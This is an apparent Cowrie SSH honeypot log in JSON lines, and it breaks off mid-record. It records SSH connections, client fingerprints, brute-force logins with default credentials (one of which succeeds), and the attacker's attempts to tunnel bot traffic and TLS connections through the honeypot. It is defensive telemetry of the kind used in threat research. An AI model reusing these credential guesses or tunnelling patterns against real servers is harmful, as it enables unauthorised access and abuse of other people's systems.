{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":61492,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e32246e10ff","protocol":"ssh","message":"New connection: 45.153.34.195:61492 (10.17.0.5:22) [session: 1e32246e10ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:24.904048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:24.922201Z","src_ip":"45.153.34.195","session":"1e32246e10ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:25.013617Z","src_ip":"45.153.34.195","session":"1e32246e10ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:25.307897Z","src_ip":"45.153.34.195","session":"1e32246e10ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23996,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03fd4529dbf","protocol":"ssh","message":"New connection: 91.92.40.36:23996 (159.203.135.109:22) [session: f03fd4529dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:26.090604Z"}
{"eventid":"cowrie.login.failed","username":"web1","password":"123","message":"login attempt [web1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:26.299086Z","src_ip":"91.92.40.36","session":"80de36fe8331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser123","message":"login attempt [fastuser/fastuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:26.348642Z","src_ip":"91.92.40.36","session":"cb32a7a42374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:26.408982Z","src_ip":"45.153.34.195","session":"1e32246e10ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57881,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a2e5ee1ae89","protocol":"ssh","message":"New connection: 123.27.168.40:57881 (10.17.0.5:22) [session: 3a2e5ee1ae89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:26.973227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:26.978229Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:27.231257Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":61498,"dst_ip":"10.17.0.5","dst_port":22,"session":"f19c9a38cbd7","protocol":"ssh","message":"New connection: 45.153.34.195:61498 (10.17.0.5:22) [session: f19c9a38cbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:27.724502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:27.866403Z","src_ip":"45.153.34.195","session":"f19c9a38cbd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:27.870361Z","src_ip":"45.153.34.195","session":"f19c9a38cbd7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:28.423776Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:28.522369Z","src_ip":"45.153.34.195","session":"f19c9a38cbd7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:28.816980Z","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:28.910485Z","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:29.067724Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0.2 Mobile/19A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aWJxSG5hdTM3eEpOQFY8cw%3D%3DY%2BCoM%2FojW2gsRSdFN4UH1Jkcg9QcoU3yWCyuoTyw%2Ba74rTHtRuN10QGoTbpT7lnB%2Bi39LPgoYFDaganVT%2FfM4opWaOl9PatwWXKB9E5Xeg9M37xAGUPT%2FZA2qRBzfgHZR7cA8XmaEIvbJAGVLo939m1LrZ6egMe16edpoqkpwwDuytqCoDhSmtfAWvTO7dmvFa6yUWKXIqB2TXwQS70enUDI0ddwwUZ6K9w3lv7UusYKOVMsw3HbDeVJlH%2Bd7zyj8Qy6q0aMJgnje%2F5rbxV1%2BFHX78dnMT0SJrgfs%2FJEgURv1tSWRGm16xeemTY79bGs5CUZbJ9CCUtsC5Xgi8i4X5z2aFcSWTaJIBrrAV1hsrPGpyONYu0Y0W5EMgQYBpsmuCoeH224F%2F84qZtIeq8uosCXx39WN%2F17KIQrJOAlWHDyH8qaogsJn5065UUp0AeXkWBGTEivjzAtovoMxpMyQacXYBLSSdI4C8AqNhhgFKgLTxolA8jx2DE2niaNxGX2HMZ4%2FiPQAXL4yE2bqxQUbfzSFtFpaQDBT8NNz6Xm4LGFa7NuiCyRHAB4YaP2s08WypMr8zR%2BWFt0nMr50OQGCuAkc8Tw6dY5ziok6XT5wBTZi0ET1rHjwOYAiV6EhngcR3Lr4KTGmorVC59lzpBh1yaE2Q1YgSGy03T4%2FSyimRQ8aMnAB9x0Q8%2FbjdRKtIsjY2BnVVeJt8mky%2B1Db554Tsx1lDReUcpnQ%2FS4xr86TvHJXSFdNSU%2Bjs6jCkaJ12qVUJd0dARUy8Zi9NIjH3zxwy7R6FfCufoldb8dA%2Bm6bC9sC%2FPjtQRiazSAaUSdUERWns5KrvNd3yv8f1OnQfKlBA7qdSLDvCUuM1XCy68NrZt5Ed0UzCYWE7vD7JKZ%2B%2FkSvMXJcbK7Kga%2BLJT20tHa2PS9lOTo0RwSmRotqqvaY7aOGb5hE7ykTBw49REue3ft4%2Bb%2B8Fx%2BaqfNHeVt5EQSKQCcyPegGLyLVqvEvWwCD9k4ih721hhilY5AN0Ivb0H4LF2aN6NB1R0FLvXhs8yhrZOWz7fQZIRT58LgQNAdicM5JwiTzHJxt5yML62gEJty'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0.2 Mobile/19A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aWJxSG5hdTM3eEpOQFY8cw%3D%3DY%2BCoM%2FojW2gsRSdFN4UH1Jkcg9QcoU3yWCyuoTyw%2Ba74rTHtRuN10QGoTbpT7lnB%2Bi39LPgoYFDaganVT%2FfM4opWaOl9PatwWXKB9E5Xeg9M37xAGUPT%2FZA2qRBzfgHZR7cA8XmaEIvbJAGVLo939m1LrZ6egMe16edpoqkpwwDuytqCoDhSmtfAWvTO7dmvFa6yUWKXIqB2TXwQS70enUDI0ddwwUZ6K9w3lv7UusYKOVMsw3HbDeVJlH%2Bd7zyj8Qy6q0aMJgnje%2F5rbxV1%2BFHX78dnMT0SJrgfs%2FJEgURv1tSWRGm16xeemTY79bGs5CUZbJ9CCUtsC5Xgi8i4X5z2aFcSWTaJIBrrAV1hsrPGpyONYu0Y0W5EMgQYBpsmuCoeH224F%2F84qZtIeq8uosCXx39WN%2F17KIQrJOAlWHDyH8qaogsJn5065UUp0AeXkWBGTEivjzAtovoMxpMyQacXYBLSSdI4C8AqNhhgFKgLTxolA8jx2DE2niaNxGX2HMZ4%2FiPQAXL4yE2bqxQUbfzSFtFpaQDBT8NNz6Xm4LGFa7NuiCyRHAB4YaP2s08WypMr8zR%2BWFt0nMr50OQGCuAkc8Tw6dY5ziok6XT5wBTZi0ET1rHjwOYAiV6EhngcR3Lr4KTGmorVC59lzpBh1yaE2Q1YgSGy03T4%2FSyimRQ8aMnAB9x0Q8%2FbjdRKtIsjY2BnVVeJt8mky%2B1Db554Tsx1lDReUcpnQ%2FS4xr86TvHJXSFdNSU%2Bjs6jCkaJ12qVUJd0dARUy8Zi9NIjH3zxwy7R6FfCufoldb8dA%2Bm6bC9sC%2FPjtQRiazSAaUSdUERWns5KrvNd3yv8f1OnQfKlBA7qdSLDvCUuM1XCy68NrZt5Ed0UzCYWE7vD7JKZ%2B%2FkSvMXJcbK7Kga%2BLJT20tHa2PS9lOTo0RwSmRotqqvaY7aOGb5hE7ykTBw49REue3ft4%2Bb%2B8Fx%2BaqfNHeVt5EQSKQCcyPegGLyLVqvEvWwCD9k4ih721hhilY5AN0Ivb0H4LF2aN6NB1R0FLvXhs8yhrZOWz7fQZIRT58LgQNAdicM5JwiTzHJxt5yML62gEJty'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:29.075734Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:29.311511Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xb4\\x1cD\\xfd\\xeb\\xbbm\\xd4\\x87\\x8b\\xfd>Y>\\x90\\xd4.\\xe9/\\xa0\\x88\\x9eQ(\\x99\\x88d\\xb3\\xf2c\\xa2 \\xac\\xc0\\xc5\\xea\\t]1\\xf3i\\xe94\\xf7y_%D\\x86O\\xcf\\xb2f\\xba\\x0b:\\xd9\\x0e0\\x8c\\x0b\\x1b\\x05\\xc0\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 7\\xdflL6\\xe9\\xad\\x9d\\xf1\\xeb\\xf2\\x0c\\x05\\xe0b\"\\x82\\xa2\\xff\\xb6%\\xb6\\xfaUe\\x1f\\x880@\\'\\xe3M\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xb4\\x1cD\\xfd\\xeb\\xbbm\\xd4\\x87\\x8b\\xfd>Y>\\x90\\xd4.\\xe9/\\xa0\\x88\\x9eQ(\\x99\\x88d\\xb3\\xf2c\\xa2 \\xac\\xc0\\xc5\\xea\\t]1\\xf3i\\xe94\\xf7y_%D\\x86O\\xcf\\xb2f\\xba\\x0b:\\xd9\\x0e0\\x8c\\x0b\\x1b\\x05\\xc0\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 7\\xdflL6\\xe9\\xad\\x9d\\xf1\\xeb\\xf2\\x0c\\x05\\xe0b\"\\x82\\xa2\\xff\\xb6%\\xb6\\xfaUe\\x1f\\x880@\\'\\xe3M\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:29.314810Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:29.608005Z","src_ip":"45.153.34.195","session":"f19c9a38cbd7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:29.800558Z","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:30.049444Z","src_ip":"123.27.168.40","session":"3a2e5ee1ae89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\x1b\\xee\\xcc2\\xdf\\x88\\xfe=\\xb1\\xaf$\\x9f\\xfe\\xd63?\\x18VD\\x03\\x06\\xa4\\x029\\x1c\\xb1\\xc2\\xab}\\x89> \\xfe!\\xdc\\xc3\\xa6B\\xe7:\\xd9=2!\\xb7\\xc81\\xe9\\x94F\\x98\\xbaM\\xea\\x10\\x86\\x92\\xdb\\xac\\x9b\\x85\\x12t\\xcc\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x